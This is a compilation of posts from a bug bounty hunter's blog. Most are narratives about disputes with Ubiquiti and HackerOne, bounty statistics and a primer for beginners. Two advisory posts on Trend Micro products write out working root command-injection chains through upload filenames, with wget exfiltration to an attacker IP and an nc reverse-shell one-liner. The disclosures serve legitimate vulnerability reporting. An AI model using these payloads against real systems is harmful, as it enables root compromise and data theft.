Ubiquiti Networks Covers Up Vulnerability and HackerOne Inadequate for Intervention

I’ve been away for a while.  Between my day job and long nights doing research in my personal time, I haven’t done much bug bounty work lately.  Most of what I have done is falling behind NDAs.  Though, a certain security vendor will be fixing a large number of my bugs very soon, and looks to be giving me credit.  But all that is an aside from what is bringing me back to writing.

Roughly two months ago I found a vulnerability in a subdomain belonging to Ubiquiti Networks.  This was the laughable kind of vuln.  Think, default credential bad.  But more in line with the OSCP *cough cough*.  In a nutshell, this sub domain allowed me to login as the admin user.  Disclosed finding on hackerone can be found here. See below for a screenshot of logging in as admin.

Interesting find right?  I can login as an admin user to a sub domain.  I thought it was interesting at least.  So I submit the finding.  What follows is a conversation, that may or may not be related (I cannot disclose with certainty to protect my account – so make up your own mind):

Where I’m from, weak credentials equals unauthorized access.  Regardless of what you access, you are unauthorized.  But appeals to logic and decent human nature failed me.  Perhaps some persistence?  Below, the conversation (with unconfirmed relevancy) continues, but rather one sided:

Note that at the time I write this, Ubiquiti Networks also decided this subdomain didn’t need to be present.  That’s right, they removed it in light of this finding.  Go ahead, go to nutty.ubnt.com

What are you waiting for?  Give it a shot!  It doesn’t resolve you say?  Strange timing….almost…suspicious?

OK, full disclosure.  They didn’t decide to disclose on their own.  I appealed to HackerOne to intervene (for a second time).  And hence the link to the public disclosure at the beginning of this post.  But what do they do when they finally disclose?  They explain it as:

The researcher found weak password in the site nutty.ubnt.com, but the system does not differentiate between authenticated and non-authenticated users. The researcher was not able to provide a PoC that could expose any vulnerability, so the report was closed “Informative”.

So they finally admit it was a weak password, but still will not explain how the system does not differentiate authenticated users.  Yet I showed them accounts that DO NOT authenticate.  Which breaks this argument in two.  If the site did not differentiate, then I would have gotten the same responses and functionality regardless of account used (or even anonymous as possibly claimed above, assuming it’s a relevant dialogue, which I cannot attest one way or another….).  I did not see this to be the case.

Any guesses where this leaves me?  Discredited.  Without a bounty.  And worst of all, in my opinion, unprotected by HackerOne.  Where is the mediation?  The checks and balances preventing programs from lying about the validity of findings?  I had another finding with UBNT that was RCE (using a recently released 0day no less), yet when I showed evidence, they acknowledged at first, then quickly recanted saying they were already patched.  I could not reproduce afterward.  Pointing to them correcting the issue in an attempt to bury the vuln.

I strongly encourage other bug hunters to share similar situations, as I’m sure I’m not alone.  By all means, comment here, or on twitter (#hackerone).  This has happened over a half dozen times (across multiple programs), and yet HackerOne has no protection in place for either the hackers, nor their very own platform.  Cheating us, cheats them.  Yet they do not have any means, nor any apparent interest in safeguarding ALL parties involved.

In an industry where legality is of the utmost importance, how much confidence should we hold in HackerOne if they won’t even safeguard their own bottom line?  Why would they ever step out to protect us in our efforts financially, or worse, legally?

Please comment or tweet (#hackerone).

100 Bugs in 30 Days

Being a part time bug/bounty hunter, I was doing a little reading and was inspired by Shubham Shah who posted about his efforts to get 120 Bounties in 120 days.  I came across this article quite some time ago, and it has weighed heavily ever since.  Ultimately I decided to follow suite with a slightly more realistic goal of 100 bugs in a YEAR.  After all, I bug hunt on the weekends and evenings.  I can’t go full time, so a year seemed much more realistic.

Oh, but I can hear you saying, “WTF Korr, this post says 100 bugs in 30 days!  You canz no counterz! lolz”.  First off, stop talking like that, it’s extremely annoying.  Second, that’s no typo.  So here is what happened.  I started my 100 bugs in a year journey on november 20th.  It was a strong start with 3 bugs in the first day.  Then something magical happened.  My voice started cracking, and hair started grow…oop, wrong kind of magical.  The important thing that happened was twofold.  First, a HUGE program opened on the 20th (yes, same day).  I started shaking and dove right into the massive scope.  If you are involved with this particular program, then you know both just how massive the scope really is, and why I am hesitant to identify it.  Though I think there may be a hint somewhere in this post…  But getting in on the first floor for the new program wasn’t the only alignment in the stars.  A little over a week later, on the 30th, I received an invite to a private program.  I can’t disclose which yet, but the number of invited hackers seems to be a relatively small number, leaving competition rather sparse.

Getting in day one on both of these was massive.  However, I was still at a disadvantage because of the need to work nights/weekends.  But, diligence has paid off.  My eyes hurt, I am sleep deprived, and my brain feels like a shaken bowl of hot pudding.  But I got a large number of bugs in a short period of time.  As I write this, I have not been green lit to disclose details about my bugs.  Nor will I until given permission.  I am not allowed to give much information, but metrics are not listed as off limits, especially if I combine programs so as to further obfuscate the origins.  Which means I can at least combine all my bug findings across all the programs, and give a little bit of useful data about my experience.  I will not say which programs resulted in what findings, but will give a little insight into how many bugs per day, frequency of certain vulnerability types, etc.  Ideally, the disclosures will come very soon.

The first and easiest metric.  100 bugs in 30 days.  Or 3.3333 bugs per day.  Some days I had 0 bugs, others I saw a spike of 10 or more.

Considering this is a race for bugs, I am not ashamed to say I had a rather large quantity of Lows.  So be it.  A risk is a risk.  If they are worth points and/or money, I’m reporting them.  So clearly, this is not a case of 100 RCE vulnerabilities, though there were a few of those 😉  So judge me not, lest ye can do better, and if ye can, mentor my simple ass.

So without further ado, here are a list of bugs by vuln type, in order of frequency (it’s important to note that some of the reports were for ‘multiple instances’, but I am only counting the reports):

  • XSS – 41
  • Error Message/Info Disclosure  – 19
  • HTML Injection – 11
  • SQL Injection – 6
  • Authentication Flaws/Bypass – 5
  • Unchecked Redirect – 5
  • CSRF – 4
  • Weak/Default Credentials – 2
  • User Enumeration – 2
  • Misc – 5

NOTE: Misc includes Subdomain Hijack, Insecure Direct Object Reference, External Service Interaction, AV Signature Bypass, and a known RCE vuln

Now for the big question I was dying to know. What is the market value of these bugs?  Given other projects of similar scope (Google and Facebook), here is the estimate (based on publicly disclosed monetary awards and bounty program pages):

Google – $285,000 (rough estimate)

Facebook – Tougher to estimate, but placing the amount smaller than Google at about $160,000

So these are rather unrealistic in the sense that these programs are currently demolished and this number of bugs is rather unlikely at the moment.  But what about HackerOne’s own estimates?  They estimate values as listed below:

  • Low
    • Median – 100
    • Competitive – 250
    • Top – 500
  • Medium
    • Median – 150
    • Competitive – 600
    • Top – 1500
  • High
    • Median – 500
    • Competitive -2500
    • Top – 4000
  • Critical
    • Median – 1400
    • Competitive – 9000
    • Top – 15000

Using these values, the HackerOne Median worth is roughly $22,000.  Using a rough 6x value to derive the Top value (because I’m tired of writing this post), I would be looking at $132,000 for Top values.  Or a 4x multiple for Competitive, coming to 88,000.

Sad panda

No matter how I look at the numbers, that’s a solid 5 figures worth of bugs….that I won’t be getting paid for….

Yes, that’s right, no money.  Well, almost none.  I anticipate a couple grand from the private program.  But all the other programs were for points and/or swag.  And even then, the points system was completely screwed up (I will discuss this soon…).  So I will be walking away with a boost in rankings only.

To top it off, I will be posting a rant about the short falls of a poorly implemented bug bounty platform.  Get ready, I’m about to bite the hand that feeds me.  But for now.  I’m just going to revel in what I accomplished in a month.  I’m happy.  That’s good for now.

Also important to note, I’m still working on the massive…OMFG sized scope program.  I only get points (biting my lip as to why that’s an extra bad rub – more on this later), but those help get invites right?  That’s what I’m told….but I now have my doubts.  Serious doubts.

Multiple Vulnerabilities – Trend Micro Control Manager 6.0

The following are publicly disclosed vulnerabilities I discovered with TrendMicro Control Manager 6.0

Full details of the vulnerabilities have not been agreed upon for disclosure, so this is more for record keeping than anything else.  Please do not inquire for details as there is no agreement in place for me to divulge any.  As much as I would love to discuss and help, I prefer staying out of jail much more 🙂

  • ZDI-CAN-3634 – Closed without public disclosure (unknown reasoning as it was/is a valid finding)

SQL Injection with RCE:

XXE:

XPATH Injection:

Bug Bounty Program Primer – Finding Vulnerabilities for Fun and Profit

After some requests and questions asked, I decided to answer the emails in the form of a post about bug bounty programs.

For those that do not know me personally, let me get the ‘street cred’ out of the way.  I have been bug hunting (bounty hunting) for a couple years now, and came in 10th during the “Hack the Pentagon” bug bounty program.  I have amassed a large number of unknown bugs (0days).  Some have been disclosed, others have not.  I have discovered many different types of web application vulnerabilities in the wild (SQLi, LFD, XXE, XSS, Arbitrary File Upload, Command Injection, etc.).  And on and on and on.  Hopefully that’s enough for me to dispense with some lessons learned and help some of you get a start in securing the Internet 🙂  I’ve structured this like an FAQ of questions I had and have been getting asked, so let’s get this started….

 

What is a bug bounty program?

In essence, this is a way for companies to open the doors to security researchers (white or black hat) to find security problems without fear of legal repercussions.  Note that this doesn’t mean you won’t go to jail.  Generally there is a scope to the bug bounty program, and if you go outside that scope, you cross the legal protection and could easily get in trouble with the law.  For example, if the scope says you can attack ‘www.foo.com’ and you find a flaw in ‘bar.foo.com’…you are attacking something they did not say you could.  Expect legal fees, and potentially a really large ‘friend’ when you get locked up.

Bug bounty programs are appealing because they don’t just offer a way to ethically disclose security flaws, but they often also offer incentive.  These incentives range from a ‘Hall of Fame’ listing those who have discovered legitimate problems, to swag (T-shirts, stickers, etc.), to a hand shake with the Almighty (yes I’m deifying cash).

 

Will I get arrested for participating in bug bounty programs?

Short answer, maybe.  That depends on your ability to read and follow directions.  If you stay in scope, you are covered.  If you don’t…..

 

Where can I find a list of bug bounty programs?

There are more lists than these, but here are the ones that I have bookmarked.  Though to be honest, at this point I just refresh hackerone and bugcrowd.

  • https://hackerone.com/directory
  • https://bugcrowd.com/programs
  • http://www.vulnerability-lab.com/list-of-bug-bounty-programs.php
  • http://www.w4rri0r.com/bug-bounty-programs/where-are-you-bug-hunters.html

 

How competitive are bug bounty programs?

This depends.  If you get in at the ground level, it’s more of a race than anything.  Hack the Pentagon I had the majority of my findings closed as duplicates.  I simply got beat to the punch.  But I had several findings that were accepted too.  Generally speaking, the longer the program has been running, the harder it will be to find stuff.  Logically that makes sense as there are hundreds of eyes looking for low hanging fruit, and the ripest fruit (big bounties).  Look at hackerone and bugcrowd, pick some programs and check how many bugs have been found, fixed, and how many hackers have been thanked.  The larger the number, generally the harder it will be to find something profitable.  Not impossible, but harder.

Take Google and Facebook as a prime example.  They were inundated with findings when their programs opened.  Now, it’s a headline when someone finds something of merit.  It took them over a year before there was a noticeable slowing in headlines about bugs.  And now it’s almost a pride thing to get a bounty in either program.  There are still bugs to be found….but they are not anywhere near as prevalent, or easy to find.

So the short answer is, if you get in quick, it’s pretty easy to find stuff.  The longer you wait, the more bugs will be consumed by pros.  Plan accordingly.

 

What is the general process for finding a bug or vulnerability?

This is in no way an easy question to answer.  I have derived my own strategy with the base I learned from a web application security course I took.  I have since modified (mutated) it to fit my own personal style.  Unfortunately the depth of the question does not lend itself well to this post, and I will have to revisit this in length, at another time in another post.  For now I’ll give a brief overview of the strategy I use.

  • OSINT – identify all information I can about the target to flesh out the scope as much as possible (ie. subdomains, user accounts, etc.)
  • Examine each URL, in the scope, and categorize functionality (file uploads, probable DB queries, user input that is reflected, etc.)
  • Categorize possible attack locations
  • Use a generic test at each attack location
  • If there is a possible attack vector, dig deep, otherwise move on

 

How long should I spend on a particular bug bounty program?

Here’s another ‘it depends’ answer.  I find that some programs are VERY ripe.  And warrant more time.  Others, are like rubbing my face on asphalt to get dolled up for prom.  This is where experience really comes into play.  Generally I spend a day or two getting a feel for the target.

Let’s look at some real world examples.  I spent a week looking at the united airlines bug bounty program.  This was a headline making program and I saw it as a challenge to hit the boards.  My goal (was still relatively new to bounty hunting) was just a single bug.  I found that first bug on day one.  This lent to the logical conclusion that the scope would be pretty ripe.  Unfortunately by the end of the week I was only getting duplicates and decided it wasn’t worth the time spent.  I was glad to be on the boards and called it a day.  They are still making pay outs, so I think I missed out.  Big lesson learned.

sighOn the flipside, pornhub recently launched their program with hackerone.  As it turns out, they had already been running a private program (BOOOOOO….I’d tell them to go F themselves for that, but…uh….I’m pretty sure that’s what that site is all about), which clipped most of the low hanging fruit.  After a day, I realized they had gotten all the easy stuff and I was looking for obscure stuff.  This was an easy one to walk away from.  Recently there was a headline how pornhub paid out a bounty…..for a couple guys who used zero days in php to attack them.  Read that again, they attacked the language, not the site.  The bug(s) used would have gone for MUCH more than what pornhub paid out, but that neither here nor there.  The point is, a zero day was required to get a decent pay day.  I walked away perfectly.  Lesson learned.

 

How long does it take to find a bug or vulnerability?

And again, it depends.  I’ve had bugs pop up within minutes.  I’ve gone weeks on a program and found nothing.  It really depends.  Part luck, part skill, part experience.  And when I’m working on a COTS product, I’ve had a few apps that panned out to nothing (only a few).  Some apps I spend a couple days on, some months.  In the case of the latter, I recently concluded a 6 week gruelling campaign against a major vendor, on one of their products.  Found RCE, over a dozen SQLi….and no one gives a shit.  Totally wasted time.

On the other hand, in another product I discovered a stacked SQLi in the very first parameter I tested.  That landed me several grand.  It’s almost like playing the lottery.  If you want in this game, you really have to want to be in this game.  There are many pits of nothing.  Be ready for them.

 

What if I find a bug in a product that does not have a bug bounty program?

First off, if you are hacking sites without permission, stop.  Stop now.  You will go to jail.  Any bounty/bug I have found has either been within an authorized bug bounty program, or with a COTS (commercial off the shelf) product within the confines of my own personal lab.  If you attack something, you better be damn sure you have the permission to attack it.

That being said, there are 3rd party organizations that will buy bugs in products with no bug bounty program.  They are legal.  Here is a quick list of the top 3 and how they legally disclose/use your vulnerabilities/exploits:

Zero Day Initiative – a direct quote: “TippingPoint provides a “virtual patch” functionality that protects vulnerable systems from compromise when host-by-host patches have not been applied or do not yet exist from the vendor. Our security research team develops new Digital Vaccine® protection filters that address the latest vulnerabilities and are constantly distributed to our customers. By writing vulnerability filters for security issues that come in through the Zero Day Initiative, TippingPoint maintains a competitive edge while protecting customers and encouraging security researchers to bring findings into the public domain.”

Beyond Security – Sells the vulnerability/exploit to pen test companies for use in their engagements, while simultaneously working with a vendor to correct the vulnerability.

Zerodium – Sends vulnerability information to a feed that their clients subscribe to, allowing for protection before a fix is implemented.

 

What tools should I use for finding bugs or vulnerabilities?

Here is another big post in the making.  I’ll be as brief as I can here, while plotting on another post to go in depth.

Burp Suite is the go to here.  Period.  I have a pro license (though the scanner is largely unused).  If you are serious about bug hunting, get the free version and decide if the pro version makes sense later.  In 90% of the cases, the free version will be plenty.

I do occasionally use SQLMap.  Though only when I can’t figure out the PoC (Proof of Concept) on my own.  It’s great for automating possible injection strings, but noisy as all hell (definitely recommend not using during red team engagements).

DirBuster is sometimes used for finding folders, pages, and docs that are not intended to be referenced, though that is rarely something I check during bug hunting.

Finding subdomains is a necessity (typically with *.foo.com scopes).  For this I generally use sites like https://pentest-tools.com/information-gathering/find-subdomains-of-domain

ZDI-16-348: Trend Micro InterScan Web Security ManagePatches filename Remote Code Execution Vulnerability

Version: IWSVA65sp2

Summary:

The com.trend.iwss.gui.servlet.ManagePatches servlet contains a flaw allowing any authenticated user (including ‘Report Only’ users) to execute commands under the context of the root user.

Details:

The com.trend.iwss.gui.servlet.ManagePatches servlet is used by elevated privilege users to upload files (patches). The functionality, however, can be used by any authenticated user simply by substituting their cookie into the request (below is a sample of the stripped down valid request).

POST /servlet/com.trend.iwss.gui.servlet.ManagePatches?action=upload HTTP/1.1
Host: <server IP>:8443
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://<server IP>:8443/admin_patch_mgmt2.jsp?CSRFGuardToken=MQG8WJXIT4J8GASYYA7OVCXXBKUIGG5D
Cookie: JSESSIONID=<INSERT COOKIE VALUE HERE>
Connection: close
Content-Type: multipart/form-data; boundary=—————————141658507810329061771972399818
Content-Length: 259

—————————–141658507810329061771972399818
Content-Disposition: form-data; name=”patchFileName”; filename=”test.xml”
Content-Type: text/xml

—————————–141658507810329061771972399818–

The actual injection takes place in the name of the file being uploaded. By performing the following tests, the delay in responses indicates that command execution is occurring.

Initial test:

—————————–141658507810329061771972399818
Content-Disposition: form-data; name=”patchFileName”; filename=”test.xml&ping 127.0.0.1 -c 10″
Content-Type: text/xml

Secondary test:

—————————–141658507810329061771972399818
Content-Disposition: form-data; name=”patchFileName”; filename=”test.xml&ping 127.0.0.1 -c 30″
Content-Type: text/xml

This gives any user the ability to execute simple non interactive commands. However, more complex (including remote shell) are possible.

By issuing a ‘wget <ip>’ of the attacker machine, a response is seen. However, exfiltrating information a bit more tricky. Special characters like ‘/’,'<‘,’>’ are not sent across to the server. But utilizing the environment itself, it becomes possible to insert characters like the ‘/’. Below is an example of a user running a wget to retrieve the current user using the given command (where [ip address] is your receiving machine):

Command –

filename=”test.xml&wget `echo [ip address]“echo $PATH | cut -c1“id`”

EXPLANATION: using ` (or even $()) to escape, it is possible to pull the ‘/’ character from the current $PATH and insert it into the command, creating the full wget of [ip address]/`id`

Apache Log –

4

This grants the ability to exfiltrate some data, as well as upload (via wget) files.

Now the attacker has the ability to create a shell by uploading a file containing the following:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [ip address] 5555 >/tmp/f

To upload the file, the attacker simply names this file to shell, then uploads using this vulnerability and wget:

test.xml&wget `echo [ip address]“echo $PATH | cut -c1`shell

Once the file has been uploaded (will be placed in the /var/iwss/patch/bin folder), the attacker can chmod and then execute the file as a script, creating a reverse shell, running as root:

test.xml&chmod a+x shell

test.xml&.`echo $PATH | cut -c1`shell

5

CVE-2016-5840: Trend Micro Deep Discovery hotfix_upload.cgi filename Remote Code Execution Vulnerability

Version: TDA 2.6.1062r1

Summary:

The hotfix_upload.cgi file contains a flaw allowing a user to execute commands under the context of the root user.

Details:

The hotfix_upload.cgi file is used to upload files (hot fixes). Below is a sample of the upload function being used:

POST /cgi-bin/hotfix_upload.cgi?sID=hotfix_temp HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: https://<server IP>/cgi-bin/hotfix_history.cgi
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Content-Type: multipart/form-data; boundary=—————————7e0823930136
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: <server IP>
Content-Length: 206
Connection: close
Cache-Control: no-cache
Cookie: session_id=

—————————–7e0823930136
Content-Disposition: form-data; name=”ajaxuploader_file”; filename=”test.txt”
Content-Type: text/plain

a
—————————–7e0823930136–

The actual injection takes place in the name of the file being uploaded (ie. filename=”test.txt&id”). By performing the following request, system information is sent back in the response:

1

This gives any user the ability to execute simple non interactive commands. However, more complex (including remote shell) commands are possible.

Special characters like ‘/’,'<‘,’>’ are not sent across to the server. But utilizing the environment itself, it becomes possible to insert characters like the ‘/’. Below is an example of a user using this method to retrieve the /etc/passwd file (NOTE: `echo $PATH | cut -c1` will print ‘/‘ to the final command):

2

Now the attacker has the ability to create a shell by uploading a file containing the following (where [ip address] is your receiving machine):

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [ip address] 5555 >/tmp/f

To upload the file, the attacker simply names this file to shell, then uploads using this vulnerability and wget:

test.txt&wget http:`echo $PATH | cut -c1“echo $PATH | cut -c1`[ip]`echo $PATH | cut -c1`shell

Once the file has been uploaded (it will be placed in /opt/TrendMicro/MinorityReport/www/cgi-bin), the attacker can chmod and then execute the file as a script, creating a reverse shell, running as root:

test.xml&chmod a+x shell

test.xml&.`echo $PATH | cut -c1`shell

3

otx.alienvault.com Local File Disclosure

Those who know me are aware that I partake in bug bounty programs.  Today I’m giving you a brief post on a recent finding and the response/reward received after the submission.

AlienVault had a swag based bug bounty posted, which appears to have gone offline as I can no longer find the page detailing the program.  But while it was live, I decided to take a look since swag based programs are often less examined compared with that of their monetary based brethren.

Within a couple hours I had identified a JSON API by simply altering the unique ID in the URL to that of an invalid ID.  This allowed me to inspect the particular call a little more closely, and that’s where the fun began.

2

By following this same strategy I was able to find information on other API functions, including one called ‘extract’ (https://otx.alienvault.com/otxapi/extract).

The extract query appeared to be pulling data from a flat file, and creating a CSV from the contents before presenting to the user for download.  Clearly this looked interesting.  I tried a few basic path traversals with no luck, then tried escaping the forward slash…..and….

OTX AlienVault Local File DisclosureUh oh.  Victory for me, red flag for the security team.

I don’t like leaving bugs with this level of severity on the table for even a short period of time.  Reflected XSS, sure I’ll stack a few and send en masse.  But not higher criticality bugs.  So I drafted a rather brief email to the PoC for the bug program, with the above screenshot, and sent it on it’s way.

I submitted the bug on May 8th, and by the 13th I was notified that the bug had been confirmed and mitigated.  Excellent response time 🙂

With the mitigation I received the following insight into the finding:

By the way an interesting note on your particular vuln is that we are running inside a container.  We still treat a vuln like this with the highest priority as there are things in that container that are secrets, but for the most part we considering the risk of this vuln largely mitigated by that encapsulation.

This was good to hear as it meant that segmentation was built in.  Good security practice, so kudos there.  Additionally, I’m always happy to see forward thinking companies, like AlienVault, that take a proactive stance to improving security.  Programs like this greatly improve overall security posture, often at a fraction of the cost, and help encourage those of us who want to do the right thing, to do exactly that.

As thanks, AlienVault sent me the following swag bag.

20160602_074255There was actually a second laptop cam cover, but I promptly used it to remove the taped on paper cover I have been using heh.

I plan on wearing the ‘gray hat’ at cons in the future.  Thanks to AlienVault for doing the right thing, and special thanks to Russell Spitler for the quick and friendly responses on the finding!

Hack the Pentagon Top 10

Had to brag a little, because I’m a bit pleased with myself.  The first ever “Hack the Pentagon” bug bounty program kicked off Mid April (the 18th?).  I submitted several flaws within the first 24 after feeling i had fished out the easy shit.

pentagon top 10

 

At the time of the screenshot, I have 8 verified bugs.  You don’t want to know how many duplicates I had (sigh).  Despite this being an ‘invite-only’ private bounty program, there was a lot of media hype and a lot of participation.  The scope was slammed within the first hour.

This is my major ‘gripe’ about bounty programs.  The competition is ridiculous.  The first few days are where the real meat will be found, and the majority of findings are within the first few hours.  This means that whoever sees the program go live, has the best chance.

These programs lack an overall structure that makes it REALLY hard to compete through programs like hackerone and bugcrowd.

I’ll stop whining now.  My goal with the program was to hit the top 10.  Didn’t think i would, but….i’m happy to have been wrong!!!!